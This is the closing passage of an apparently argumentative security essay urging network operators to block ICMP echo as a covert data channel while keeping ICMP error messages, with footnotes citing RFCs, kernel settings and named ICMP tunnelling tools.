But look at what it actually is, stripped of the habit. A message that carries no fact about the network, that every host is obliged to answer with your own bytes handed back, that runs over a protocol the controls do not inspect and the logs do not read. Everything that makes it feel harmless — it is only a diagnostic, it is only a keepalive, everyone allows it — is the same thing that makes it the cleanest way off a filtered network that exists. The industry blocks the ICMP errors, which carry the truth and break the network when they are gone, and it waves through echo, which carries whatever you load into it. It has the protocol exactly upside down.

The fix is not clever. Keep the messages that tell you the truth, and drop the one that just hands your bytes back. It costs you a command you had no business trusting for a diagnosis anyway, and it shuts a door that has been standing open since 1996, documented in a hacker zine, packaged for two decades, and left wide because closing it would mean someone could not ping. Know what a thing costs, not what it is priced at. Ping is priced at nowt. It costs you the one channel you cannot see.


  1. Loki, Phrack 49 — a command channel carried inside ICMP echo payloads, 1996. ↩︎

  2. Ptunnel — carries a TCP session inside ICMP echo. ↩︎

  3. RFC 792 — ICMP: “the data received in the echo message must be returned in the echo reply message”. ↩︎

  4. RFC 4443 — ICMPv6: echo data “MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message”. ↩︎

  5. RFC 4890 — the ICMPv6 messages a firewall must not drop. ↩︎

  6. RFC 1812 — router requirements: Time Exceeded is a MUST, named for traceroute. ↩︎

  7. Hans — IP over ICMP echo tunnel, by Friedrich Schöller. ↩︎

  8. icmptunnel — tunnels IP traffic through ICMP echo and reply packets, by Dhaval Kapil. ↩︎

  9. Linux kernel — IP sysctl — icmp_echo_ignore_all: “the kernel will ignore all ICMP ECHO requests sent to it”. ↩︎

  10. Linux commit e6f86b0f — “ipv6: Add icmp_echo_ignore_all support for ICMPv6” — the IPv6 equivalent, by Virgile Jarry. ↩︎

  11. RFC 8200 §5 — IPv6 requires every link to have an MTU of at least 1280 octets. ↩︎

  12. Microsoft — TCP/IP raw sockets — “only members of the Administrators group can create sockets of type SOCK_RAW”. ↩︎